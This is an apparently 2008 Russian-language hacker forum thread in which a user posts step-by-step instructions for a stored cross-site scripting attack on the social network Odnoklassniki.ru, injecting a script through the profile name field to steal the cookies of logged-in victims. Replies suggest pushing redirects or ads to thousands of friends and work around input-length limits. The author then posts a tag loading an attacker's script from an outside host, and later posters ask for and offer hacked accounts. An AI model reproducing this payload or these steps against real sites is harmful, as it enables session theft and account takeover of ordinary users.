Odnoklassniki.ru

[Isis]

http://odnoklassniki.ru/res/default/Images/logo.gif

[Intro]

Спустя 10 минут после регистрации на odnoklassniki.ru, была найдена активная xss...
Собственно регистрация для этого и была произведена :)
Что с неё взять?
-Конечно cookies (Не печенье).
Такой баг на огромнейшей соц.сети может вызвать п.зд.ц
К чему я все...начнем...

[Vulnerability]

Авторизуемся на сайте http://odnoklassniki.ru, если нет акка, пройдите 2х минутную авторизацию.
Далее проходим на свою личную страницу -> Основное -> Редактировать личные данные ->
(*.odnoklassniki.ru/dk?st.cmd=userSelfProfileEdit)
Ваше имя - <script>alert(/1/)</script>
Сохранить.
Переходим в "Форум" (*.odnoklassniki.ru/dk?st.cmd=userForum) -> Добавить -> Уже видна активка, но это не то :)
Пишем что-нибудь в сообщении -> Добавить
Переходим в свой форум -> Клацаем по ссылке "Написать сообщение" (далее [1]) ->
Ну и вот она активная xss :)

//Везде на вашей странице где есть сылка "Написать сообщение" + кликнув по ней будет активная xss
//будь то "Друзья" , "Друзья друзей", Сообщества" ...везде

[Application]

Жертве необходимо быть авторизованным на сайте и всего перейти по вашей ссылке [1] где и будет произведен ваш js код...
Желаю удачи

[Video]

ROFL, http://www.x3k.name/odnoklassniki.ru[active.xss]-Isis.rar

[Copyright]

© by Isis 13.03.2008, xeka.ru (http://xeka.ru)
Greetz to: gemaglabin, blackybr, +toxa+, ettee, b00zy_c0d3r, NOFEAR, Rebz, Barsik, c411k, Elekt, ettee, .fuf, lamarez, cash, limpompo, madnet, Great, podkashey, KEZ, GreenBear, w1z, m0nzt3r, PEPSICOLA :D, Puff, Proteus and other....

[xcedz]

А ведь не давно стоило скока то денег (ТС ты эту багу пытался продать?)... что то творится не ладное... магнитные бури?

Ну вообще м то эт даже не похоже на статью, а обзор уязвимости
на одноклассниках, мб это связано с пристальным вниманием фсб на эту "контору" поэтому начался слив ? :D

[SchmeL]

тепрь все зависит от времени, кто быстрее...пока не прикрыли.
З.Ы допустим есть чел с 600 друзьями, друзья друзей более 3000. возможноли туда впихнуть редирект или банер рекламный какой на сайт?

[КИНГ]

там же для воровства кук скрипт не вмещается :/

[Isis]

КИНГ, Если перечитать статью и подумать?

[Sn@k3]

мда )))) ты еще сайт открой и форум с платной булкой поставь, чтобы посвятить крутую хсс ))))))))))))))))))))))))))))) достаточно в знакомый до боли раздел пихнуть -)

[Cawabunga]

хм а как по поводу сайта ? кссоднаклассники.ру :)

[freddi]

isis , а ты не заметил еще одну?
когда человек будет писать в личку тому у кого стоит скрип вместо имени, то тоже он исполнится.

[Cawabunga]

isis , а ты не заметил еще одну?
когда человек будет писать в личку тому у кого стоит скрип вместо имени, то тоже он исполнится.
ксс2однаклассники.ру ? : ))

[Isis]

<script src=http://66.ru/x.js></script>

[z0diak]

Если не сложно,дайте ссылки как правильно использовать активные Xss. Что-нибуть приближенное к данной статье.. . Заранее спасибо.

[[aywo]]

2z0diak
может еще статью написать "использование поисковиков для маленьких или как найти нужную инфу" ?

[Alexsize]

Начни отсюда:
http://old.antichat.ru/crackchat/HTML/
To [aywo] - вместо набора слов мог бы и помочь человеку.

[z0diak]

']2z0diak
может еще статью написать "использование поисковиков для маленьких или как найти нужную инфу" ?
Попробуй,может выйдет.....Желаю творческого вдохновения. Напишешь с меня +++

[z0diak]

Начни отсюда:
http://old.antichat.ru/crackchat/HTML/
To [aywo] - вместо набора слов мог бы и помочь человеку.
Спасибо.....

[Bo_om]

Похоже, что дырку закрыли! :(
script не помещается в окошко по длине...
Есть ещё какие-нибудь идеи?

[DjFly]

Похоже, что дырку закрыли! :(
script не помещается в окошко по длине...
Есть ещё какие-нибудь идеи?
Да, увы очень жаль, в строке ввода имени вмещается всего 16 символов.
А вдруг у меня имя двадцать символов??))

[Kila]

Да, увы очень жаль, в строке ввода имени вмещается всего 16 символов.
А вдруг у меня имя двадцать символов??))
Тогда ты неудачнеГ :D

[Twoster]

Да, увы очень жаль, в строке ввода имени вмещается всего 16 символов.
А вдруг у меня имя двадцать символов??))
Ну, если в поле ввода не вмещается, можно попробовать подредактировать сорсы страницы и изменить параметр maxlength! ;) Если конечно дальше скриптом не обрезается!

[Isis]

Дальше скриптом обрезается...

[geforse]

оно ещё работает ?)

[iddqd]

блин, мою активку тоже пофиксили... хотя пару месяцев работала ;)

[Paha007]

http://www.x3k.name/odnoklassniki.ru[active.xss]-Isis.rar ссыль битая..

Кстати никто не знает способ реги на одноклассниках без отправки смс? или можно юзать хакнутые аки для себя..изменив данные и тд? это реально? если да то киньте пару аков если у когото есть?

[>.:!FrE!:.<]

http://www.x3k.name/odnoklassniki.ru[active.xss]-Isis.rar ссыль битая..

Кстати никто не знает способ реги на одноклассниках без отправки смс? или можно юзать хакнутые аки для себя..изменив данные и тд? это реально? если да то киньте пару аков если у когото есть?

почему бы и нет;)